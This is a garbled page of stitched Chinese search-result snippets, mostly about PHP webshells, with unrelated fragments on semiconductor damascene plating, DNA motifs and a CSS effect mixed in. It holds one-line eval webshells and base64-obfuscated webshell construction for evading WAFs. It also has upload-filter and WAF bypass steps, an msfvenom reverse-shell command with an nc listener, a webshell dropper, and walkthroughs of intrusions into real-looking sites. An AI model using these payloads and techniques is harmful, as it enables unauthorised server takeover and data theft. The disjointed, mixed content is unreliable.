分享一款博主一直在用的很不错的大马，PHP免杀过waf-幽灵ColdBlue免杀版本[官方去除后门版]，此大马只为安全测试，请勿用于非法用途，如有问题，博主概不负责！
这篇笔记介绍下铜的大马士革镶嵌工艺。小豆芽之前对于金属图案的理解是先沉积一层金属，然后再通过干法刻蚀的方法形成图案。最近才发现自己的理解不够全面。...因此，人们提出了大马士革镶嵌（Damascene plating）的方法来形成铜的互联线。 大马士革镶嵌本来是指将多种金属镶嵌在一起，用于制作精美的工艺品，如下图所示。...（图片来自https://www.xuehua.us/2018/06/20/原创设计典范-大马士革镶嵌黄金戒指/） 对于铜互联线的镶嵌工艺，正是借鉴了这一思想，先是对介质进行刻蚀，形成孔洞，然后沉积金属铜...图片来自https://commons.wikimedia.org/wiki/File:Dual-Damascene-Prozess_(self_aligned;_Schautafel).svg） 以上是对大马士革镶嵌工艺的简单介绍...在半导体工艺流程中，大马士革镶嵌工艺是非常重要的一个步骤。细想起来，也就是捡软柿子捏，无法直接对Cu刻蚀，就欺负软柿子——介质层，然后让硬柿子填充到安排好的座位中。
[] eg: TATA-box 则可表示为：TATAATAAT. (这里的塔塔盒是指TATAWAWN 其中W=A/T N=ATC/G)
本文作者：s9mf 对于很多，和我一样刚刚入门，或者还在门边徘徊的小伙伴们，在渗透学习的过程中，总会遇到各种情况，例如 php 大马被 waf 拦截的时候，那么如何制作免杀 php webshell 呢...一. webshell 免杀 0x0 php 内置函数加密 小例子: 在制作免杀大马之前，我们先来看看，一个带后门的免杀 php 大马是如何制作的。 ? 在后门网站 webshell8 下载好大马。...';*/ 0x1 php 自定义加密 一图胜千言 ? 0x2 敏感函数免杀 主要是关键字的免杀，我一般直接偷网上带后门大马的。...php$l='baSe6';$o='4_dE';$v='cO';$e='DE';$love=$l.$o.$v.$e;$a=$love('PHP大马BASE64加密内容');eval($a=$a);?...更小更方便 为了减小大马体积，我们常常使用 php 读取网络文件 curl, fsockopen ,file_get_contents 函数，这样的大马整体体积甚至只有几百字节，但是要注意，目标网站要是禁用了
> CSS 3.0图片像素放大马赛克特效
以后等我渗透熟练了，会好好研究一下PHP代码的各种免杀技巧。很好玩，思路很猥琐。 小马和大马 小马和大马都是网页类型中的一种后门，是通过用来控制网站权限的，那最主要的区别就是小马是用来上传大马的。...通过小马上传大马，这时候有个疑问了，那不是多此一举了，为什么要用小马来上传大马，而干嘛不直接上传大马用好了。...这种大马一旦网站被种了，网站基本就在这个大马控制之中。大马的隐蔽性不好，因为涉及很多敏感代码，安全类程序很容易扫描到。...来看看一个大马利用实例：在虚拟机中往DVWA上传PHP大马（源码附在最后）: 访问木马文件123.php，提交密码123456后进入大马的功能列表，下图所示为文件管理功能： 继续访问下命令执行功能...（其他功能不展示了）： 最后附上该PHP大马的代码（代码太长，百度云盘链接）：https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A 提取码：56pd。
看到表哥有大佬带就是好，文章最后 Damian 表哥也分享了文章的免杀大马和 1.php ? 赶紧下载下来怕百度云分享失效。 ? 长夜漫漫，好鸡儿无聊啊，打开表哥的免杀大马分析一波。 ?...分析大马 细致假装分析首先看这段。我们去掉 ' . 很明显浮现在我们面前的是 php 代码，是的没错同学们。 ?...大概就是首先大马作者，将大马源码先使用 gzcompress 函数压缩，然后再 base64_encode 函数编码。...前面我们知道了，大马源码是经过加密的，那我们要分析大马源码是不是得先解密呢，其实很简单。 我们知道 eval 是执行解密后 php 代码 ?...那我还分析个毛代码，火狐卸载卸载...其实我们可以 Burp 抓包 先抓包 php.php 运行的包 ? 右键选择 Send to Repeater 转到 Repeater 模块 ?
admin 文件管理器存在任意文件上传 图里面的webshell.php和test.php都是我上传的大马。...给阿浪） 但是大马为什么成功？ 我也就是想都尝试一下，看看运气。 为什么上传两个大马？...test.php有个搜索文件的功能，有利于我们找falg，但是这个大马查看文件的时候会403（所以用了webshell.php打包系统文件下载下来，进行查看），这个大马还有执行系统函数的模块，但是很明显执行不了...如下图： 再来看看上传后的大马： test.php:搜索flag.txt，整个C盘确实就搜到这么一个flag.txt文件。...登录webshell大马：admin 打包flag.txt，base64解密一下即可。 代码执行漏洞 先访问http://106.54.65.253/dede/tpl.php?
后台帐号密码：admin admin 文件管理器存在任意文件上传 图里面的webshell.php和test.php都是我上传的大马。 为什么不是先传小马呢？...给阿浪） 但是大马为什么成功？ 我也就是想都尝试一下，看看运气。 为什么上传两个大马？...test.php有个搜索文件的功能，有利于我们找falg，但是这个大马查看文件的时候会403（所以用了webshell.php打包系统文件下载下来，进行查看），这个大马还有执行系统函数的模块，但是很明显执行不了...再来看看上传后的大马： ? test.php:搜索flag.txt，整个C盘确实就搜到这么一个flag.txt文件。...登录webshell大马：admin 打包flag.txt，base64解密一下即可。 ? 代码执行漏洞 先访问http://106.54.65.253/dede/tpl.php?
以后等我渗透熟练了，会好好研究一下PHP代码的各种免杀技巧。很好玩，思路很猥琐。 小马和大马 小马和大马都是网页类型中的一种后门，是通过用来控制网站权限的，那最主要的区别就是小马是用来上传大马的。...通过小马上传大马，这时候有个疑问了，那不是多此一举了，为什么要用小马来上传大马，而干嘛不直接上传大马用好了。...小马是为了方便上传大马的，因为很多漏洞做了上传限制，大马上传不了，所以就只能先上传小马，再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。...这种大马一旦网站被种了，网站基本就在这个大马控制之中。大马的隐蔽性不好，因为涉及很多敏感代码，安全类程序很容易扫描到。...来看看一个大马利用实例：在虚拟机中往DVWA上传PHP大马（源码附在最后）: 图片 访问木马文件123.php，提交密码123456后进入大马的功能列表，下图所示为文件管理功能： 图片
大马与小马 在几年前很流行的网站入侵打油诗中有写： 进谷歌 找注入 没注入 就旁注 没旁注 用0day 没0day 猜目录 没目录 就嗅探 爆账户 找后台 传小马 放大马 拿权限 挂页面 放暗链 清数据...清日志 留后门 其中的传小马上大马就是我们要说的小马大马了，小马的功能一般都比较单一，作用一般是向服务器中写入文件数据。...这里贴一个php小马 ? 大马一般就提供了更多的功能，例如辅助提权，执行sql语句，反弹shell等。...不过网上很多的大马都加了后门，例如图中的这款从mumaasp.com这个网站下载的一款大马会将木马的地址和密码提交到http://www.mumaasp.com/xz/sx.asp这个网址 ?...asp一句话木马： php一句话木马： <?php @eval($_POST[pass]);?
加个单引号报错了，有戏，而且还是前阵子爆出后门的php5.4.45的版本 ?...\ThinkPHP\Library\Think\Db\databasee.php'); ?...而且遇到一个坑卡了很久,大马进不去，密码是本地测试过是对的，无论输入多少次都是卡在这个页面，也换过其它大马测试也是这样。...后来是实在搞不明白去请教前辈，告诉我远程下载的原理是目标服务器去访问我们大马去下载，而服务器只会把访问到前端页面的代码文件下载到电脑，服务器访问就是以下图的页面，所以大马的其它代码没有被下载到，只被下载到这个前端页面...解决的办法就是把大马文件改成txt，这样服务器访问就可以把完整大马代码给下载到，只要下指定绝对路径时改成php脚本就可以正常运行大马了。
,后台过滤了.php） 6、蚁剑连接后查到到数据库文件，连接数据库连接成功 7、上传可以大马adminer.php（类似phpmyadmin可以直接连数据库）导出数据 01 寻找注入点 网址 http...上传一句话小马 上传一句话小马（或者大马） 先上传小马zmg.php ?..._conn.php推断或为数据库连接文件，打开果然是 ? 中国蚁剑连接后台数据库（也可以上传带数据库管理功能的大马进行连接数据库） ? 查看到所有数据 ? ?...可以导出数据 上传大马 可以在网站上传点上传，或者蚁剑上传 php大马adminer.php功能mysql数据库管理 ?...http://www.xx.xx.xx/filedata/tbl_cms_doc/doc/1311_1..php 进入类似phpmyadmin.php数据库管理页面 ?
√ 那就是在未登入状态这里竟然爆了个用户 那我们接下来直接试一波账号密码 然后咱就直接进入了他的后台 那好接下来我们打开发布文章，试试看能不能在这把大马传上去 显而易见的是，这里限制了我们的上传后缀...但是不要紧 我们尝试在系统设置那添加一个php 但是保存设置之后，你会发现当年设置允许php后缀时会被系统直接过滤成x 也就意味着我们不能设置php 难道这就没有办法了嘛？？？？...那么我就想，如果我把我的大马插入模板zip，那是不是可以成功绕过呢?...，并且我上传的大马名字是safe.php 所以接下来我们打开www.xxx.cn/content/templates/red_zui/safe.php?...故事的最后我把大马删除并提醒了管理员及时修改弱密码，小朋友们，我们一定不能做坏事呀~~~ 以上故事纯属虚构，请各位遵守国家规定，不能违法犯法，遵守纪律从你我做起
192.168.31.43 LPORT=8888 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >1.elf 利用菜刀上传php...大马，并将生成的elf木马上传到目标机 进入大马进行反弹shell提权 kali本地监听12388端口 nc -lvvp 12388 大马进行反弹shell 反弹成功 uname...proxychains.conf 将设置的socks4添加进末尾 代理打开firefox 访问192.168.1.100 弱口令登陆后台，在设置处添加可以上传的文件类型 其他格式添加php...,PHP,php3 添加新文章上传php大马 直接拖拽成功上传后，可以查看路径，直接访问地址 由于msf的路由功能不稳定，所以代理得到的会话很不稳定，并且没有重新连接的功能，所以做内网渗透的时候还是尽量使用稳定的代理工具
基本都禁用了，现在各显神通，尝试绕过，先试一试利用apache解析漏洞，尝试一下，将一句话木马的文件后缀，改为lxf.php.xxxx,发现报错，打开安全狗发现被拦截了，尝试失败，接着尝试。 ?...接下来使用burpsuite,将下面的Content-Type 删除，直接上传.php后缀。 ? 发现成功绕过 ?...绕安全狗上传并执行大马 如果要上传一个大马呢，如果绕过上传后，不能执行，还是白搭。咱们发现，被拦截了， ?...都到了这一步，不能放弃，还有希望，想到了php的包含函数，构造好包含函数后，命名为baohan.php,包含咱们上传的大马，通过上面的方法上传，如下 <?...php include("xw.jpg") ?> 只要被包含函数包含的文件，不管什么格式，都会尝试以php的形式执行，所以将大马的格式改为.jpg格式。接下来再试一下。大功告成！ ?
最后，2.xxx.com传一个大马（2011.php）和一个一句话（1.php）。 我现在就以wordpress权限的大马和一句话来跨站。 首先菜刀连接一句话： ? ...首先我发现，用ftp上传上去的2011.php和01.php是644权限，（其他的都是755权限是因为其他的文档都是我用root权限传上去并将所有人改为wordpress的）然后菜刀不能执行命令： ?...菜刀感觉这个时候无力了，于是打开我们的大马2011.php。 大马也是目录不可写（废话），但可以执行命令： ? ...php eval($_POST[phithon]); ?...希望大家看过文章后能警觉，php安全模式还是要开启的。默认配置害死人，请大家留意。
他这里支持自定义html，用来做搜索引擎优化，于是可以试着写入php代码来获取shell，补充一下php的几种定义写法： 1. 2. echo 3; 第三种写法的标签是不是很熟悉。...shell就搞不定了嘛~ 0x03 文件包含getshell 在前面有说到，他这个站有许多上传点，我随便找了一个上传点，上传了一个图片格式的大马，大马的代码如下： <?...php$test='大马代码';//访问这个文件大马的代码将被写入网站的根目录2.php下 （路径phpinfo得到）file_put_contents("/home/www/webdata/epage.../2.php", $test); 然后通过一样的步骤用下面的代码 include '..
，UPLOAD加载，UPFILE上传，COOKIS=（ ） 7，〓数据库备份拿WEBSHELL和一句话木马入侵〓 通常进入后台了，发现有数据库备份，拿WEBSHELL吧，找一个添加产品的地方，传一个大马...，成功后，再输入大马内容，拿到WEBSHELL 9，〓找后台〓 找后台，一般默认为admin,admin/admin.asp,admin/login.asp,.admin_login.asp,manage...后门和EWEBEDITOR编辑器入侵〓 PHP后门，如之前爆出的DISZ漏洞，在一个PHP网站后面加C.PHP,如果出现1，那么传个PHP马就拿到WEBSHELL，EWEBEDITOR编辑器入侵，是很快速的方式...种方式，页面地址格式要对应，如果一个网站地址弹出对话框，显示上传成功，那么证明可以拿到WEBSHELL，传马，另外有的没有任何显示，直接空的，那么可以构建两个上传，第一个传JPG的图片，第二个传ASP马（大马...id=,inurl:php?id= 20,〓自寻漏洞〓 自己根据自己的技术经验和积累，找出还没有被发现的漏洞（思路问题了）
这个app网站，我们通过前期信息搜集和云悉扫描，判断出是辰光PHP客服系统 正好圈子里面有一位大神写过一个辰光CMS的审计，url如下 https://www.secquan.org/Discuss/1071471...意思大概就是辰光CMS存在未授权上传漏洞 我们上传的时候把文件后缀改成a.b.php就能够绕过上传（会代码审计的大佬太厉害了，可以去支持一下这位写文章的大佬） 我们验证一下 访问如下路径，如果路径存在就是存在这个未授权上传漏洞...然后我们就可以通过替换dom的方式构造一个自己的上传点，然后去上传一个php文件 ? 选择一个文件，然后进行抓包修改文件为a.b.php 先上传一个测试的php文件 ?...并且无法执行linux命令，可能是我太菜了也没找到原因 这时我想到一个骚操作 我们可以尝试创建一个php文件，然后里面的内容替换为大马文件，通过大马里面的nc反弹，反弹到我们的kali攻击机上去 一开始我们发现创建不了...php文件，最后找到原因是这个php的文件名是十个随机生成的数字，我们随便写了个数字，里面粘贴上大马的源码 ?
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
